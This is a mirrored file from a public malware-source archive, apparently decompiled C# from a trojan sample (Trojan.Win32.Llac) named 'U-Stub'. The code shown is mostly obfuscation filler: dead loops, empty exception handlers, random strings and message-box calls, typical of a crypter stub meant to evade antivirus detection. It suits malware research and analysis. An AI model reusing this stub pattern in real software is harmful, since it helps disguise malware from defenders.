mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
226 lines
7.9 KiB
C#
226 lines
7.9 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
// Type: U_Stub.xkhEta0g9r1jZ2
|
|||
|
// Assembly: U-Stub, Version=0.5.0.0, Culture=neutral, PublicKeyToken=null
|
|||
|
// MVID: 1A3D191F-9017-4B28-BB6C-EB744F26B6E8
|
|||
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.cqas-7b1e23881a8ecad479bf21b176cf0d45377cb7306820490a17e1470826acc586.exe
|
|||
|
|
|||
|
using Microsoft.VisualBasic;
|
|||
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
using System;
|
|||
|
using System.Windows.Forms;
|
|||
|
|
|||
|
namespace U_Stub
|
|||
|
{
|
|||
|
[StandardModule]
|
|||
|
public sealed class xkhEta0g9r1jZ2
|
|||
|
{
|
|||
|
public static void PbY3ma()
|
|||
|
{
|
|||
|
string str = "!>\u0081|2,@Px\u0081H9U8^hIjw;‹*Qƒ~rBL‰2\u0090@IKdc‚1 €(e0|=<x(jzg:fŠ€‘‘R}‡Zf„(‚S\u0081\u008D$YXwN‚W@'`V\\C†[6l/ORvdƒr6‹a’?tM|Š.‘/Aƒ~vR";
|
|||
|
bool flag = true;
|
|||
|
label_28:
|
|||
|
if (false)
|
|||
|
return;
|
|||
|
int num1 = 1;
|
|||
|
do
|
|||
|
{
|
|||
|
flag = true;
|
|||
|
flag = false;
|
|||
|
if (true)
|
|||
|
flag = true;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex1);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex2);
|
|||
|
flag = true;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
str = "BKEA2aFs451YABT42C1vdLh7JRvx2Z92bTP8DT8tL8102l43cMG5fhuX55XiZ7N6Vt8v3osyLhiLsgYXA";
|
|||
|
while (true)
|
|||
|
{
|
|||
|
flag = true;
|
|||
|
while (false)
|
|||
|
{
|
|||
|
if (false && false)
|
|||
|
{
|
|||
|
if (true)
|
|||
|
;
|
|||
|
str = "W3Liptrc555ZMx8NBktdFzw0k8wY0VQmbnZc8O0hiiFH6ltOfiH466nSyTGHHked76gIznK4xOgj1z5PV7lD8f8Pa4Aop40v0kz18s10Tt6bGzrWPRr5Q2w27euHkJyd7h048c2kdYBNaZq1OqkxYuYj7456y87153z1";
|
|||
|
}
|
|||
|
flag = false;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex3)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex3);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
}
|
|||
|
int num2 = (int) Interaction.MsgBox((object) "3d*cmM,E,h/€82\\\u008Dzk'J‚,4vNur\u007F‚…@ƒyqH…q5†\\pq1…/S6'0\u007FŠ$€#a'PF5Šn?U9G?&Z}j;dw^l0ŽBg\u008D_knŽ<v0A");
|
|||
|
}
|
|||
|
int num3 = (int) Interaction.MsgBox((object) "’\u008F\u0081P;Š]‚Ln<YcE@BIP,.q;K#dS>+<CJ\\5„ezo<‡#ww`ƒN4Qi\u008FrLr4Fkwc~\u007F{lRf)DsDrsXf-[(IŒm[g");
|
|||
|
}
|
|||
|
int num4 = (int) Interaction.MsgBox((object) "g.\\ŠjG\u00818€7„");
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
int num5 = (int) Interaction.MsgBox((object) "ID1W^mƒrˆW,>6,\u008Fq*(6Oz$D)2lLV");
|
|||
|
checked { ++num1; }
|
|||
|
}
|
|||
|
while (num1 <= 276123);
|
|||
|
goto label_28;
|
|||
|
}
|
|||
|
|
|||
|
private static object ᙃ()
|
|||
|
{
|
|||
|
double num1 = 2786.0;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex);
|
|||
|
num1 = 70297015.0;
|
|||
|
int num2 = (int) MessageBox.Show("‚1[’„<g\u008FM\u007F~a!V#]P`l\u0090MSV%i]‘Uj,Nf/-z:a~GNK{ƒ=u]S\\S");
|
|||
|
int num3 = (int) MessageBox.Show("*KŒ!8\u007FU1=<{/$…g{ˆcC=ƒ09,K. Lx ]gJ†CQU[+^*Œ7vH)Rp7u6Ž]M]\u008D2\u007Fi)\u007F(K=r4x0a6ELXw2‰ŒUwAoC4#");
|
|||
|
if (true)
|
|||
|
num1 = 0.0;
|
|||
|
while (false)
|
|||
|
{
|
|||
|
num1 = 151756227.0;
|
|||
|
int num4 = 5930;
|
|||
|
do
|
|||
|
{
|
|||
|
checked { ++num4; }
|
|||
|
}
|
|||
|
while (num4 <= 95623690);
|
|||
|
num1 = 939971.0;
|
|||
|
int num5 = (int) MessageBox.Show("WD`,U$T<X{(9yA`kvau}{ŠŽo‰‘odiEhid&JC3\\'ƒUtˆ{\u007F0’WPG\u0081\u0090„~nLeO^%wQd23Rhs‰=X9Y„G'!3‚y‘83BWkwxK\u0090pv‘!,$0vhMZ?`2\u0081gV’VfJR_x'_=BmZn‚G‹_t;X");
|
|||
|
if (true)
|
|||
|
;
|
|||
|
num1 = 24517.0;
|
|||
|
}
|
|||
|
while (false)
|
|||
|
{
|
|||
|
while (false)
|
|||
|
{
|
|||
|
int num6 = 5266;
|
|||
|
while (num6 <= 2704)
|
|||
|
checked { ++num6; }
|
|||
|
}
|
|||
|
if (true)
|
|||
|
;
|
|||
|
}
|
|||
|
num1 = 652377.0;
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
int num7 = (int) Interaction.MsgBox((object) "‡8v:6ŒX\u008D\u008D'}g VkDjb]a\u008F.e43E^;2kHo?oˆr„KZ5\u008DPFIxF\u0090Kx9*('r\u0090yeb'ƒM=zBr-HC`‹R>(Gf_{;N\u007FG3UŒ`?h`q/,BDi{ph#jj\u0090m}\u007Fz~ r,Q‘I3:\\:z\u0081uRW{eQ~/\u008DR_ˆ‰wcv\u0081mHh1t>‰S?1v/),`ˆyA735'L j„`26Z9yOK‚„2o 3aGE?( ƒE‘’/VKc");
|
|||
|
return (object) 8409;
|
|||
|
}
|
|||
|
|
|||
|
public static object qw7T97R0Av16GFtv25Dv()
|
|||
|
{
|
|||
|
double num1 = 0.0;
|
|||
|
Decimal num2 = 441M;
|
|||
|
double num3 = 492006.0;
|
|||
|
double num4 = 76951.0;
|
|||
|
string str = "_0R…A-cBk[KT$9IH‘80\u008F6#vG`T:„4K9)w? }lg‹‡,LM†‡ZMAY6T/8Su[L*D\u007F†q-?BBpw9^nI?;ƒ|hƒS&'‹K‘Š*„D\\WQaC+ N?.ce}h'\u008DZ*‚\u008FcŒ…[j>x\u008DF.H8QL;u,,&4;T]Z?\u0081<Q„PV\u007F:‡tcd‰‰$E%(0yK4PLE€M#nt.NK;|!F)‰k[\u0090\\kj066!\u00815LMt";
|
|||
|
num2 = 3826M;
|
|||
|
num2 = 195534885M;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
while (false)
|
|||
|
{
|
|||
|
num2 = 1M;
|
|||
|
num1 = 2.0;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
num3 = 471391439.0;
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex1)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex1);
|
|||
|
if (false)
|
|||
|
{
|
|||
|
int num5 = 7525425;
|
|||
|
do
|
|||
|
{
|
|||
|
num4 = 8.0;
|
|||
|
int num6 = 176887;
|
|||
|
do
|
|||
|
{
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex2)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex2);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
while (false)
|
|||
|
{
|
|||
|
str = "E7P57XY1tIdLznEm26j27WiKyGY1KfMmrAC1Yv2090DXOzN2SyGNYHDThgjfd6uM4f84319extSxHemK7xz7aehnnolg64p3mdrj6AMa9aNIcZ";
|
|||
|
str = "C9289tK2Xi9Vb4qMH1lSUD2XW1010vlh0yv78E028q1evP3Quv1gCc7VI5Tohqc4p0bvds4okqssXMv1ZeEB0XT00Ee8069Phs2kK4soHn4dSAnX5bcSq1pGgms922NRWzIZWCi4yd8c4Bw9hO23QO7kh0X3nVEiAfDf0GxzXcP6tM1XYrGL5D5";
|
|||
|
}
|
|||
|
checked { ++num6; }
|
|||
|
}
|
|||
|
while (num6 <= 1087859);
|
|||
|
try
|
|||
|
{
|
|||
|
}
|
|||
|
catch (Exception ex3)
|
|||
|
{
|
|||
|
ProjectData.SetProjectError(ex3);
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
if (false)
|
|||
|
;
|
|||
|
num2 = 783M;
|
|||
|
while (true)
|
|||
|
{
|
|||
|
if (false)
|
|||
|
;
|
|||
|
do
|
|||
|
;
|
|||
|
while (true);
|
|||
|
num2 = 5735M;
|
|||
|
}
|
|||
|
while (true)
|
|||
|
{
|
|||
|
while (false)
|
|||
|
;
|
|||
|
num1 = 2065.0;
|
|||
|
}
|
|||
|
checked { ++num5; }
|
|||
|
}
|
|||
|
while (num5 <= 89127940);
|
|||
|
int num7 = (int) Interaction.MsgBox((object) "qƒ{{‚†uH†=-2ch&*\u008F)\\lSŒ~†„*VN‘5q&91w8‘@~N3‘>/]„…dud!v)c†w$ˆŠwOFJq_&‹Q„€,n");
|
|||
|
}
|
|||
|
int num8 = (int) Interaction.MsgBox((object) "YTnoH 8…kL4\u008D\u0090i= 4(H&‘\u007Ff`bW‹SrˆXEW");
|
|||
|
ProjectData.ClearProjectError();
|
|||
|
}
|
|||
|
}
|
|||
|
if (false)
|
|||
|
{
|
|||
|
int num9 = (int) Interaction.MsgBox((object) "or5cE6IDwC01");
|
|||
|
}
|
|||
|
}
|
|||
|
}
|
|||
|
int num10 = (int) Interaction.MsgBox((object) ")n.&vGŒ\u007FZ‡pmZ9+.VRYDZR‚78.;\u0090d\u007Fbu+:^G‚G„ŠˆO\u008D+b0ˆJ\u0081,8O?%Pj\u007FŠ\u0081h,Ž;nDŽa@mv>.`bO*Xvh(8„/Wf3U&}‡[‹Y<~Œ4>zfahp*\u0081*\u0081oiE2(AyO:\u007Fv'1X[Vx;FgDwUˆ9\u008F!Yc4$i\\DxPWuRis€c,P7h.&1Š‚[U]‹3O‹,@?~&{-]\u007Fr*’#{o‡V4");
|
|||
|
return (object) 1;
|
|||
|
}
|
|||
|
}
|
|||
|
}
|